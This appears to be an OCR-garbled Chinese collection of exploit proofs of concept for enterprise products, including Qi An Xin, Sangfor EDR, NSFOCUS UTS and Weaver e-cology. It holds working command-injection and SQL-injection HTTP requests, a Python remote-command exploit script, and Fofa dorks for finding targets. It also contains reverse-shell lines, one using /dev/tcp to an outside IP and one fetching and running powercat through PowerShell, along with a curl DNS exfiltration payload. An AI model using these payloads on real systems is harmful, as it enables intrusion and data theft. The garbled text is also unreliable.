—. FaEZNATiEa<SHTRER (CNVD-2019-20835)

1. ifia) http://10.20.10.11/listener/cluster manage.php :3R[E] "OK". (RIBNTEER)

2. hE R HERIEISE S getshell, HUTRING, 4ERPHP—EIED
https://10.20.10.10/ha_request.php?action=install&ipaddr=10.20.10.11&node_id=1${IFS}|'echo${IFS}" ZWNobyAnPD9waHAgQGV2YW
3.getsheli5[ERER:

/var/www/shterm/resources/qrcode/Ibj77.php

https://10.20.10.10/shterm/resources/qrcode/Ibj77.php (252 10086)

dy9zaHR1

3377 .php

BHHERBI—MRA Ejavall:

POST /shterm/listener/tui_update.php

a=["t'import os;0s.popen('whoami')#"]

| Raw I Params I Headers l Hex l
m \n Actions v

POST /shterm/listener/tui_update.php HTTP/1.1
User-Agent: Mozilla/5.@ (Macintosh; Intel Mac 0S X 10_16_0) AppleWebKit/537.36 (KHTML, 11l
Chrome/85.0.4183.83 Safari/537.36
3 Host: IR R M
 Cookiq jhel a1 oidlir 1l Jwt.m
Content-Length: 34

a=["t';import os;os.popen('whoami')#"]

=. XFElSTopApp-LB GBEIIGRRFSqliENREE
1.7)FEPOC:

POST /acc/clsf/report/datasource.php HTTP/1.1

Host: localhost

Connection: close

Accept: text/javascript, text/html, application/xml, text/xml, */*

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebK:it/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105
Safari/537.36

Accept-Language: zh-CN,zh;q=0.9



Content-Type: application/x-www-form-urlencoded

t=I1&e=08&s=t&I=18&vid=1+union select 1,2,3,4,5,6,7,8,9,substr('a',1,1),11,12,13,14,15,16,17,18,19,20,21,22--
+&gid=0&Imt=108&0=r _Speed&asc=false8p=8&lipf=8&lipt=&ripf=&ript=&dscp=8&proto=8&Ipf=&Ipt=&rpf=&rpt=@, .

Jm[Hexl

Pretty EREWY \n Actions v

~N O N e WM e

oo

10
11
12
13
L4
15
16
17

POST /acc/clsf/report/datasource.php HTTP/1.1

Host: localhost

Connection: close

Accept: text/javascript, text/html, application/xml, text/xml, */*
X-Prototype-Version: 1.6.0.3

X-Requested-With: XMLHttpRequest

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 1@0_15_5) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/84.0.4147.105 Safari/537.36

Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: cors

Sec-Fetch-Dest: empty

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: PHPSESSID=1ijgqtopbcbmu8d7@05t3kmvgt57

Content-Type: application/x-www-form-urlencoded

Content-Length: 201

t=1&e=0&s=t&1=1&vid=1+union select
1,2,3,4,5,6,7,8,9,substr('a",1,1),11,12,13,14,15,16,17,18,19,20,21,22--+8gid=0&1mt=108&0=r_Speed&asc=Ff
alse&p=8&1lipf=&lipt=&ripf=&ript=Bdscp=&proto=&lpf=&lpt=&rpf=&rpt=€, ,

22 AR BRI S,

https://www.uedbox.com/post/21626/

FRFEEE Z53: id (REMSRHIYETopApp-LBRALHEDEIZEM)

https://www.uedbox.com/post/22193/

FF4&: ; ping 9928e5.dnslog.info; echo %f3: &

APIKey callback

e Crlsmeay

%E DNS

9928e5 dnslog.info

i1
Hi

Trace Log:

07-May-2015 10:28:15.754 queries: client 202.96.209.147#37289 (99285 dnslog.info): query: 9928e5.dnslog.it

. F’RGRP-u8 iEA

FJFHAPOC:
POST /Proxy HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0;)

Host: localhost

e



https://www.uedbox.com/post/21626/
https://www.uedbox.com/post/22193/

Content-Length: 341
Connection: Keep-Alive

Cache-Control: no-cache

cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?> <RIPACKET version="1"><DATAFORMAT>XML</DATAFORMAT>
<RIFUNCTION><NAME>AS_DataRequest</NAME> <PARAMS><PARAM> <NAME>ProviderName</NAME> <DATA
format="text">DataSetProviderData</DATA> </PARAM> <PARAM> <NAME>Data</NAME> <DATA format="text">exec
xp_cmdshell 'whoami'</DATA> </PARAM> </PARAMS > </ROFUNCTION > </ROPACKET >

Raw \n Actions v

1 POST /Proxy HTTP/1.1

Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.@ (compatible; MSIE 6.0;)
Host: localhost

5 Content-Length: 341

» Connection: Keep-Alive

7 Cache-Control: no-cache

T

LT - Y N

I

o oo

cVer=9.8.0&dp=<7xml version="1.0" encoding="GB2312"7>
<RIPACKET version="1">
<DATAFORMAT>
XML
</DATAFORMAT>
<ROFUNCTION>
<NAME >
AS_DatoRequest
</NAME>
<PARAMS>
<PARAM>
<NAME>
ProviderName
</NAME>
<DATA format="text">
DataSetProviderData
</DATA> @ P ° ©
</PARAM>
<PARAM:
<NAME >
Data

Rl

M. FBUTSESRHRIERRESER

ZERRABANS%E: https://www.hackbug.net/archives/112.html

. IEEBEFREUREE ('status" false,"mag":""} -> {"status":true,"mag":""}

. /webapi/v1/system/accountmanage/accountiEiZEERtR 7 EERRIKFEESEIEER (md5)

N =

3. BRER EREN L HIRE ST mISEG
4, SR
<« C o D & Lo ===

@ eeSRBIeRe-rEnEa TR,

HUTSHEARBRI =

ke SR

© MR Wi 24/ i s
8 pEE ota
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& weEm

imSEPREE R



« c @ D £ ~0 hitps/ dasererrpy s ssf . > 9 P =

RCs

UTSERERBHRE

e

) : 4 1]

Forward Drop Intercept is om Action

Ra¥ Paraas Headers Hex

POST /webapi/v1/authen_user HTTP/1.1
T

& DB Request to ht

Host

User-Agent: Mozilla/5.0 Windows NT 10.0: Windd: x64: rv:79.0) Gecko/201 1
Accept: application/json. text/plain, #*/*
Accept-Language: 2h—CN, zh:g=0.8, th-TW;q=0. 7
Accept-Encoding: gzip, deflate
Authorization: undefined

Firefox/79.0

zh-HK:q=0. 5, en-US:g=0. 3, en;q=0. 2

Content-Type: application/json
Content-Length: 66

Origin: https://135.191.123. 6
DNT: 1
Confgction: close
Refessr: https

v2/webstatic,

[“username” : “admin”, "password 212321297 a5725aT43894a0ed4aB0

XA B TIERL, falseEBHItruefIIHER LA EE E TR B AIMd SEEG

W Burp Suite Professional v2.1.06 - Temporary Project - licensed to surferxyz
Burp Project Intruder Repeater Window Help

Dashboard Target Intrude:

sster Sequencer Decoder

Project optians User options

HTTP history TebSocket:

ry Optiens
0 Response from hrtps:// FESMPSTRTSINP. 113 /uebapi uthen_user

Forvard Drop Intercept is en Action

Rav Headers Hex

HTTP/1.1 200 OK

Date: Wed. 19 Aug 2020 02:33:15 GMT
Server: Apache

X-Frame—Options: SAMEORIGIN

Allow: GET, POST, HEAD, OPTIONS

Connection: close

Contg” i-Type: application/ json
Cor ¢ht-Length: 59

["status”:false, "meg” : "B L IREBRIG]

"y

data

eEX Atrue




[ Burp Suite Professional v2.1.06 - Temporary Project - licensed to surferxyz

lurp Project Intruder Repeater Window Help

Dashbeard Targer © L dexr R g Decoder Comparer Exvender Project options User options
I vt HTTP history TWebSockets histery Options

[ Response from hrrps:/ AGebitekibabed ] /vebapi /vl /suthen_user
| | e

Rav Headers Hex

HTTR/1.1 200 OK

Date: Wed. 19 Aug 2020 02:33:15 GMT

Server: Apache

K-Frame-Options: SAMEORIGIN

;:7’&“‘ POST, HEAD, OPTIONS

ion: close
~Type: application/ json
Contel ength: 59
(- :mmmul}lm:""mn':"l

I Burp Suite Professional v2.1.06 - Temporary Project - licensed to surfercyz

Burp Pro_iect Intruder Repeater Window Help

Dashboard Target 7 Intruder R Seq Decoder Comparer Extender Project options User options
Intezcept HTTP history WebSockets histery Options

[ Response from hrtps:/ /oGebikmbibeind ] /vebapi /vl /authen_user
T S W ¥ [

Rav Headers Hex

HTTP/1. 1 200 OK

Date: Wed. 19 Aug 2020 02:33:15 GMT
Server: Apache

X-Frame—-Options: SAMEORIGIN

Al lows~GET, POST, HEAD, OPTIONS
Gor? ion: close

W\‘iwl: application/ json
Contedr—Length: 59

& LIRS EIRRE ", "data” "7}

W Burp Suite Professional v2.1.06 - Temporary Project - licensed to surferxyz - o x
Burp Project Intruder Repeater Window Help

Dashboard Target Prows Intruder Repeater Sequencer Decoder Conparer Extender Project options User options

Intercept HITP history WebSockets history Options

) Response from https: - ifvl,

Forvard || Drop | [ mtercept is n ction

Rev Headers Hex

HTTP/1.1 200 OK .
Date: Wed, 19 Aug 2020 02:34:30 GMT

Server: Apache

X-Frame-Options: SAMEORIGIN

Allow: GET, POST. DELETE, HEAD. OPTIONS

Connection: close

Centent-Type: application/json

Content-Length: 661

["msg " "success™, "header™: {"TIME": "2020-08-19
10: ", “pay o “DEVICE_NAME": "nsfocus_uts"j—status”-200 “data™ [{ statuc® “trie”, "lastmodify" 1597571103, "account”: "admin", “isSystem":true, “name”:"~", "roles": ["OPERATORS"],
abl\ & “false”, “mai dminénsfocus. com”, “password |: “7ac301836522b54afcbbed714534c7fb" | “auth_method” : “local“], ["status”: “false stmodify" 11597571103, “account”: "auditor”, " isSystem”
4.7 word_expired”: "90", "auth_l ic_enable” :null 'd” . "f7d07071ed9431ecae3aBd45bdcB2bb2", "auth_method”: "local "} 1}

id":1, "password_expired”:"90", "auth_lic_en
ame”: "=, “roles”: ["AUDITORS"], “ip":"*", "id"

A Gt ER ad min A IImd S{ERERS

FRRENMdSERERTE



[ Burp Suite Professional v2.1.06 - Temporary Project - licensed to surferxyz
Jurp Project Intruder Repeater Window Help

Jashboard Target Intruder Repeater Sequencer Decoder Comparer Extender Project options User options

HTTP history WebSockets history Options

2 Brewest o el

Raw Params Headers Hex
POST /webapi/v1/authen_user HTTP/1.1

Host: Tooetidebitnd

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64: rv:79.0) Gecko/20100101 Firefox/79.0
Accept: application/json, text/plain, */*

Accept-Language: zh—-CN, zh:q=0. 8, zh-TW;q=0. 7, zh-HK:q=0. 5, en-US;g=0. 3, en;q=0. 2
Accept-Encoding: gzip, deflate

Authorization: undefined

Content=Type: application/json

Conte t-Length: 66

Or?dn: https://135.191.123.6

DNT 5.

Connection: close

Referer: https://135.191. 123. 6/uts_v2/webstatic/

[“username” : "admin", "password" : "21232f297a57a5a743894a0e4a801fc3"}

Hiemd5E

7ac301836522b54afcbbed714534c7fb

BUIP FIUJECL INUUUET KEPEdIET WINLUW Hep
chboard Target | Intruder Repeater Sequencer Decoder Comparer Extender Project options User options

Interce HITP history WebSockets history Optiens

f ) Request to B

Forvard setion

Raw Params Headers Hex

POST /webapi/v1/authen_user HTTP/1.1

Host: 0k

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wind4; x64; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: application/json, text/plain, */¥

Accept-Language: zh-CN, zh;q=0. B, zh-TW;q=0. 7, zh-HK;g=0. 5, en-US;q=0. 3, en;q=0. 2
Accept-Encoding: gzip. deflate

Author ization: undefined

Content-Type: application/json

Conte t-Length: 66

Or¥¢dn: https://135.191.123. 6

DNT 5.

Connection: close

Referer: https://135.191. 123. 6/uts_v2/webstatic/

["username": "admin", "password" : "21232f297a57a5a743894a0edaB01fc3"]

Eitamds{a

% Not Page Name P+

< cC o © £ =0 hitps// asmaTeTgme/ts v2/webstatic/#/dashboard

@ s AR R SIS ER,

a9 Ly '.-l.". i. "’7‘;"!‘:11‘]

b SR 4 ®

@ s v B 24/ NHE e

e Total v

2 weEE v %
o e B0 IPvd IPve WL EE 0
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» woEE v =



h. XelEEIRGRERAEAREN ERRED

TR BTN B THER LA ARRIL RS, B/?module=auth_user&action=mod_edit_pwd, EORZENAEEREEEXEERFE
3, BiAsupermanlikFuid7g1

POST /?module=auth_user&action=mod_edit_pwd

Cookie: username=superman;

uid=18pd=Newpasswd&mod_pwd=1&dlp_perm=1

“ - - — £

75. WPS Office BIRHFERSHMERIF, (ESHBHT
ELEETENE.. RATATESEUELIRS.

BXESE:
http://zeifan.my/security/rce/heap/2020/09/03/wps-rce-heap.html

t. SANGFORZRISMINRFE-EERAFRER
fofatg4y: title="SANGFORZZ ISR ES"
eIz
payload:
https://ip/ui/login.php?user=EZREFSZ
Fugn:
https://1.1.1.1:1980/ui/login.php?user=admin
BiEETERTA.

<« C o QO & h 22222/ui/index.php#/index NI « In@o e u s =

BEI%5 FIT8R FJ&ASRC FIMESE @ BekF Authentication (i) HackBug-Toexd O et brHE

16 I RS & &l i I B

Endpoint Detection and Response

EDREFH#FEMEH 0 0 1 3 3 X =

HNEEEEG ShzREhi LR
Qroa bboyia Q (IDVEPS
= o
B BN FBEH EFRE/ R @ IERRNEHTS e ol

\. R{SIREDREF-&&payload


https://www.hackbug.net/usr/uploads/2020/08/3963593927.png

1LiRRFAGE:
https://xxx.xxx.xxx/tool/log/c.php?strip_slashes=system&host=whoami
< > C @ © & https// o ftool/log/c.php?strip_slashes=system8host=whoami

%3 BB IE F9&XSRC FRSHE @ BeEF Authentication () HackBug-TOex4

Log Helper
root
Host : |root | - host, e.z 127.0.0.1
Path : | | — path regex, e.g. mapreduce
Row : | |— row regex, e.g. \slwlel\s
Limit: |1000 | - top n, e.g 100
fERE
!
2 BRIFTTIE

M EESMHMERIMSAT, 0T hiasdolbubconiiogalsangionadiaxnloll
-*- coding: utf-8 -*-

# @Time : 2020/8/17

# @Author : Angel

# @File : edr.py

# RUSTA IR Command execute RS

import requests
import re
import urllib3
import sys
import base64

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def hello():

init function

:return: init print

print (
"""SangFor EDR remote command code exploit
Angel 20200817

Github: https://github.com/A2gel/sangfor-edr-exploit

Command: python edr.py url http://10.10.10.0/

Command: python edr.py file 1.txt whoami""")

def readFile(filename):


https://www.hackbug.net/usr/uploads/2020/08/2237421943.png
https://github.com/A2gel/sangfor-edr-exploit

BATIEE R B FHIREGIR
:param filename: {443
return: Z4T D EIRISHARE
list=[]
keywords = open('./'+filename, 'r')
line = keywords.readline().strip("\n")
while (line):

list.append(line)

line = keywords.readline().strip("\n")
keywords.close()

return list

def log(name,value):
BITENN
:param name: {443
:param value: M{HRE
rreturn: 8
save = file(str(name)+".txt", "a+")
save.write(str(value)+"\n")

save.close()

def rce(host,command):

:param host: URLER
:param command: HTHIEES
return: BEZIHUTIR Bl SEIE LMHFTENfaild 1R([E-
headers={
'Connection': 'close’,
'Cache-Control": 'max-age=0',
'Upgrade-Insecure-Requests": '1',

'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125
Safari/537.36',

'Accept": 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-
exchange;v=b3;q=0.9',

'Sec-Fetch-Site': 'none’,

'Sec-Fetch-Mode': 'navigate',



'Sec-Fetch-User': '?1',
'Sec-Fetch-Dest": 'document’,
'Accept-Encoding'": 'gzip, deflate’,

'Accept-Language’: 'zh-CN,zh;q=0.9'

}

command=base64.b64encode(command)
command="echo \""+command+"\""+"|base64 -d|bash"

command = command.replace(" ","$IFS")

url="{}/tool/log/c.php?strip_slashes=system&host={}".format(host,command)
#print url
try:
response = requests.get(url,verify=False,headers=headers)
response.raise_for_status()
response.encoding = "utf-8"
#print response.text
res=re.findall(r'<b>Log Helper</b></p>(.+7?)<pre><form',response.text,re.S)
response.close()
print(res[0])
return "+"
except:
print(‘failed’)

return "-

if _name__=='_main__"
if len(sys.argv) < 2:
hello()
else:
if sys.argv[1] == "url":
while 1:
command = raw_input("Command> ")
if command:
print ("Try %s"%sys.argv[2])
rce(sys.argv[2],command)
else:
print ("Please input Command")

command =

elif sys.argv[1] == "file":
if (sys.argv) < 3:
print "Command: python edr.py file url.txt"
else:
for i in readFile(sys.argv[2]):

print ("Try %s"%i)



if rce(i,sys.argv[3]) == "+":
log("success",sys.argv[3])
else:
log("error",sys.argv[3])
else:

hello()

3.ERGEE
BEANurl

python edr.py url http://10.10.10.10

Command> whoami
Try http://10.10.10.10

root

Ht2url EEEER A txt —f7—url

python edr.py file 1.txt whoami

Try: http://10.10.10.10
root
Try: http://10.10.10.11

root

Hu. sangfor EDR RCEiREiR

1w

dev_linkage_launch.php SigEEAEIRVEA O R EERBEEIIE OMEER 55— EBRYE D
FERA




AILUES £—/MEEH $req_url = $ SERVER['PHP_SELF'];
SEE—ME:
IR FENginxEL B X EE:

B nginx B LS, M BRI EZ LEINT R AT R LAEEE/()
/api/edr/sangforinter/v2/xxx 58d SE—MEE
FETE: NReE




HRitcheck access _token

1db_error(

XERif($md>5_str == $json_token['md5"]) 5I&E = NEE: phpsssBi SRR
2t REBEE N—Mbaseb644mFBHjsonRZ A { “md5" :true}BIE]

Et TR ELRTSEEE

k%l process cssp.php 3Z#t

FEEEESHTREEL R EFEHescapeshellarg B4 85 | S4T R AT L 2=F/EAN.
Sad:{"params":"w=123\""1234123'\"[#@p <"

2 FAEPOC:

post /api/edr/sanforinter/v2/cssp/slog_client?token=ssskbkds HTTP/1.1.

{"params":"w=123\""1234123"\"|bash -i >/dev/tcp/167.179.118.219/8899 0>&1"}

POST fapi/edr/sangforinter/v2/cssp/slog.client?token=eyJtZDUi0nRydWVe HITP/1.1 L&
Host: 192.168.226.60 {md5:true}iibase6448ES HEtHE — MET
Connection: close

i Cache-Control: max-age=@ iﬁlﬂnginxﬁﬂﬂd%i},m-ﬁ\@

Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.@ (Windows NT 18.8; Winéd; x64) AppleWebKit/537.36 (KHIML, like Gecko) Chrome/85.8.4183.33
Safari/537.36
Accept:
text/himl,application/xhtml+xml, application/xml;q=8.9,inage/avif,image/vebp,inage/apng,*/*;q=8.8, application/sign
ed-exchange;v=b3;q=6.9
$ec-Fetch-5ite: none

7 Sec-Fetch-Mode: navigate
Sec-Feteh-User: 71
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate .
Accept-Language: zh-CN,zh;q=8.9 H&R35|E SERE—uERT

t HTTP_Y_FORWARDED_FOR: 192.168.226.1 g

i Content-Length: 76

5 Content-Type: lication/x-wuw
HTTP_Y_FORWARD

{"params":"w=123

ARlinuxZ3EEEIrNCim O



nc -lvvp 889

root@vultr:~# nc -lvvp 8899

listening on [any] 8899 ...

61.148.74.134: inverse host lookup failed: Unknown host

connect to [167.179.118.219] from (UNKNOWN) [61.148.74.134] 16577

RMSHREDR AR an SHUTAIRIS:
/api/edr/sangforinter/v2/cssp/slog_client?token=eyJtZDUiOnRydWV9

{"params": "w=123\""1234123"\"|curl ‘whoami".dnslog.cn"}

M8 Raw  \n Actions v

L POST /api/edr/sangforinter/v2/cssp/slog_client?token=eyltZDUi10OnRydWV9 HTTP/1.1
Host: I& A L.a

3 Connection: close

4 Content-Length: 65

»

6 {
"params”:"w=123\""1234123"\"Icurl “whoami  .ate, mi 1 Sus.u"

}

h. BREREHRFRFEEEE LG SHhiTRER
TRIEE:

BRERHR AR R

2 fEiRiEA

R LERR, FETRFERIRE LA, FEfERRSBIHR SERS A TIEFIRS, AT HpRRREIEEmRE, X
EIBHEATLAESD, SEFEXHLERR, FIRZRRRLERE webshellfBR,

WYHTIRR, FETRARRIIIRETS, MTENRERNBFTESIEHTRENE, JIBIERHSHRIELD, BEaEHh
TITRETERNT TIRIMEETIGSEH, SERSITRR, ZRREBIASIE TRTEERPSIRITRStR S, RIEPREA
FRRAE, BJLAHTRINRSENKF,, FRARMEshellZHEE,

3 e

ENRBUAEINEEAFIEFANBEAR, ARR2EFR. WSIIE. REERSE. FRINEREENEISRITHTERE S8
UATLADHOR, REGEIEEHBIESHNARNARFRIIE. UREESNAERE, ENRRICHENNSMEHTEIR, BRI
WBHIIERIETT. FRAAEFREFHTHERWSIE, BRFXRRIGIHESTETISTNME,

+. iZHOA Bsh 2 {iBITRER

1. TSiRET

201959 17 HiZiMOABE & ¥ — MBS TIRIAAN T, iZf¥e-cology OARSATJava BeanshelliE AT #RIENIAIE, W& 1B
#ZBeanshelliE0, AIGIESERNHTTPIERGTZHAS — L2 RENMIARRER ST, RREFHRTE.

2. e

FZHOA

3. IEREL

Set-Cookie: ecology JSessionld=ecology/weaver/bsh.servlet.BshServlet

4. Fofa Dork



app="ZHM-HEIA0A"

5. iR

https://www.freebuf.com/vuls/215218.html
https://github.com/beanshell/beanshell
http://beanshell.org/manual/quickstart.html#The BeanShell GUI
6. imiAFIF

FIFEPOC:

POST /weaver/bsh.servlet.BshServlet HTTP/1.1

Host: xxxxxxxx:8088

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close

Content-Length: 98

Content-Type: application/x-www-form-urlencoded

bsh.script=eval%00("ex"%2b"ec(\"whoami\")");&bsh.servlet.captureOutErr=true&bsh.servlet.output=raw

CNVD-2019-32204F! FERIA -
https://github.com/myzing00/Vulnerability-analysis/tree/master/0917/weaver-oa/CNVD-2019-32204

HERIAHT:

pip install requests

python Weaver-Ecology-OA RCE-exp.py
url.txtszfeh Rurlittht EFEHhttphig

7. FIFEEIS

Hitfzatseid

eval%00("ex"%2b"ec(\"whoami\")"); tBRJLA%AY, ex\u0065c("cmd /c dir");
i EERRwindowsiNE, [Ki#EshelRTLAfERpcat

Powershell

IEX(New-Object
System.Net.Webclient).DownloadString(‘https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');pow
ercat -c ip -p 6666 -e cmd

8. BitFT3iE

1 RESEFZ AN T

2 #Z&k/weaver/bsh.servlet.BshServlet B RH9iiA)
+—., Z#HOA e-cology SQLiE AR

1. mREN
ZIHOAEERMAFRE FRIGIERS BIEEHREFITETUSRC:  https://weaversrc.vulbox.com/, {&ERBHTIFEE
2. AR

iZ1HOA

3. ImRfEL

Set-Cookie: ecology JSessionld=

ecology

WorkflowCenterTreeData

/mobile/plugin/SyncUserInfo.jsp


https://github.com/myzing00/Vulnerability-analysis/tree/master/0917/weaver-oa/CNVD-2019-32204

4. Fofa Dork

app="Z{H-HEI0A"

5. RS

iZ1HOA WorkflowCenterTreeDataiZ i NiFiR(FRoracleHUERE) — ForlttX
https://xz.aliyun.com/t/6531

6. imiaFIF

iZ1MOA e-cology WorkflowCenterTreeDatagl &£ SQLENREFEM :

EENULLEAEERNFERS EXfrom/a AEIFRE:
POST /mobile/browser/WorkflowCenterTreeData.jsp?node=wftype 1&scope=2333 HTTP/1.1

Host: ip:port

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 2236

Connection: close

Upgrade-Insecure-Requests: 1

formids=11111111111)))%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0
d%0a%0d%0a%0

Wk
Row | 88 | & | Hex
Jmobile/browser MorkflowCenterTreeData. jsp?node=wftype_lkscope=2333 & = “leaf”:truel, {"dreggable”:false, .
HITP/1.1 :\ “checked”:false, "id “text”:" (PROTOCOL=TCP)
Host [S.ER‘-’I"E—Urc].)GJBI ") true), {"draggable”:false, "checked”: false, "i
User—Agent: Moz1iia/. 0 (Nacintosh; Intel Mac 05 X 10.14; rv:56.0) d":" /i Cllfarlp"o“acle , “leaf”:truel, ("dragesble”:false, “ch
Gecko /20100101 Firefox/56.0 ecked”:falze, "1d": "wf_", "text™: -'r_'lo‘-"npp, craclcxadml'u"o‘rclfadurp ,le
Accept: af":true}, ("draggeble”:false, “checked”:false, "id": "wf ", "text”:"/ull/
text/htol, application/shtml+txml, application/xml =0, 9, %/ o=0. 8 app/oracle/diag/rdbms/orel forcl /edump”, “leaf”: truel, ["rlrnssallle":fnls
Accept-Language: zh—CN, zh;o=0. 8, en-US; q=0. 5, en; q=0. 3 e, “checked”:false, "1d”:"wf_", "text”: "/ull fapp/oracle/diae/Tdbms/orel/
Accept-Encoding: gzip, deflate orel ftrace”, “leaf”:truel, {"draggable”: false, "chccl{cd false, “id":"wf_
Content=Type! application/z-wmw=form-urlencoded *, "text” " full fappforacle 1_re:owr\r_a:rea . "leaf” rtrue}, {"draggabl
Content-Length: 2238 &7 ifalse, “checked i false, "id" ef 7, text”:” 'fuﬂlad.bpa'rnrutlcforadéln &
Cormection: close "leaf”:truel, {"draggable”: false, "herk =d :false, "id":"wf_", "text”:"/u
Upgrade-Insecure-Requests: 1 01/app/oracle/oradata/0RCL/control file/ol_mf_ggtmqz32_ ctl
.-"u()l.fq.rp-"mac].c.-"fast Tecovery arca/ORCL fcontlclf.\lc":l _mf, zstqu]l
formids=11111111111) )1 )%0a%0d40a%0 504060 a%0 M 0a%0d%0a%0 020 M 0a%0d ll Neaf"rtrue), {"drageable”: false, “checked”: false, "id":"wi_ ", tc:[l
K00 %080 %0 a%0 %0250 d402%0 10 a%0 % 0a%0 %040 M08 050 a% 0% 0a%0 4% D :"ull /app/oraclefproduct /11. 2. 0/db_1/dbs/drlorel. dat”, "leaf”: truel, {
0A%0a%0%0a%0 4 02%0 8028 04%0a%0 K 0a%0 dh0a%0 A5 0aR 080 a0 4% Daki dh 0a%0 %0 "draggable”:false, “checked”: false, "1d": ", “text”: " ull fepp/oracle/
a0 dN0a%0 d%0aN 0 d%0aN0 I Da%0 dR 0% 0 A% 0aN 0% 0 ak 0 IR Dak 0 dh0a%0 dh0ak0 % 0a%0 d product/LL. 2. 0/db_1 /dbs/dr2orcl. dat”, “l1ecaf”truc), {"draggable”:false,
0K 00N 000N 0D HONOH0MOMOHOMNOAIHONOB0BOM0B0N0% ) | “checked”sFalse, "1d": "WE_", “text”:"/ull/app/oracle//product /11, 2. 0/db_
O%0a% 05080 d%0a%0d%0a% 0 0a%0d% 0a%0 A0S0 H0aR 0% Dakds Dak 800450 bs/spfileor cl.cra . lea‘ struel, (“drageable”:false, “checked”:false
ah(d0akidh0af 00 ak0 % 0ah0dh0ak0d%0a% 060 ak0 M 0ab0dN0a% 0 dh0ak0 delaki d “leaf” TTLl"] {5 'ilaggablc :falze, “checked”: fals
H02%0 450280280 a%0 N 02%0 M08 0 %028 00 a%0 N0 %0 N 02N 0 D2k 0 IR Da%0 d 0% “leaf”itrue), ["draggable”:false, “checked:fal
0A%0a%0 5 0a%0 %020 0N 00 a%0 0% 0 AN 0% 0 B0 % D D a%0dN 00 A% 02N 050 “:710%, “leaf " :truel, [“drageable”:false, “checked”: £
a%0d% 0% 0 dR0=% 050X 0% 0ab DA 0=%0 dR0K 050 ak O 0a%0 AN0=%0 A50a%0 % 0a%0 4 00", “leaf”: truel, ["drageable”:false, "checked
H0a%0d%0a%0d%0a%0MN0a%0 d%0a% D %0ak0 e 0ak0dN0a%0 dh0aK 00 0a% 0% 0a%0 dh 0% , i Ha]: 000' "leaf” :“"'uc]. {"draggable”: false, "che
00 a0 R 0akh0 dh0a 0 dN0aN 0480 a%0 0N 0=k 0 dh0ai 0 50 al 00 ak0ds Dak0 db 0aN0 %0 ched” i false, wE.", tl:xt ].U:]‘:.“ﬂqﬁ lC'"_ ].ci:l_f" ruel, (“draggable”
ah0d%0a%0d%02%0 H0aR 0% 0a%0 N0 0 B0aN0 B0 a% O N0 ah0 MO0 dH0aR0 % 0a%0d fal r]lec.lted ‘false, "id": true), [Mdrag
R0a%04%0a%02% 0% 00250 d%02% 0 A%0a% 0% 0a%0d% 0% 0 A%0 2K 045 0a% 03 0a%0 A% 0% gable”:falze, “checked” falsﬁ d 3 i “leaf”:truel
04%0 k0% 0a%0 d40a%0 802K 0%0 ak0 K 0a%0 dh0a% 0 A0k 00 ak 04N Oaki A% 0a%0 %0 , {"draggable”:false, “checked”: false, "i’l"'
u}sOu‘tqd'irdHOa‘Qq 02N 03 0a%0 N 0=%0 d%0aN0- ﬁ.r'nhod‘aqa'i' d!icla‘\ﬂ H0aN0H0ak0d " eaf ttruel, {“drageable”:false, “che J ced!!
o0 IR T Sodus po Mo s Yo s i Tt WO us o an ~ary - b I L] Ly . =3 3

https://github.com/orleven/Tentacle/blob/6e1cecd52b10526c4851a26249339367101b3ca2/script/ecology/ecology8 mobile sql
_inject.py

#!/usr/bin/env python

-*- coding: utf-8 -*-

# @author: 'orleven’

from lib.utils.connect import ClientSession

from script import Script, SERVICE_PORT_MAP


https://github.com/orleven/Tentacle/blob/6e1cecd52b10526c4851a26249339367101b3ca2/script/ecology/ecology8_mobile_sql_inject.py

class POC(Script):
def __init_ (self, target=None):
self.service_type = SERVICE_PORT_MAP.WEB
self.name = 'ecology8 mobile sql inject'
self.keyword = ['ecology8', 'sql inject']
self.info = 'ecology8 mobile sql inject'
self.type = "inject'
self.level = 'high'

Script.__init__(self, target=target, service_type=self.service_type)

async def prove(self):
await self.get_url()
if self.base_url:
path_list = list(set([
self.url_normpath(self.base_url, /"),
self.url_normpath(self.url, /"),
)]

pocs = ["mobile/plugin/browser/WorkflowCenterTreeData.jsp?scope=1&node=root_1&formids=1/1&initvalue=1", # i EN=
formids, > &

"mobile/plugin/browser/WorkflowCenterTreeData.jsp?scope=1&node=wftype_6/1&formids=1&initvalue=1"] # ;£\ s.Inode,
paxs:
async with ClientSession() as session:
for path in path_list:
for poc in pocs :

url = path + poc

async with session.get(url=url) as res:
if res!=None:
text = await res.text()
if ""draggable":false' in text:
self.flag = 1
self.req.append({"url": url})
self.res.append({"info": url, "key": "ecology8 inject"})
return
NMAZE - BERE - ZHOARRILR:
https://blog.csdn.net/weixin_30855099/article/details/101191532
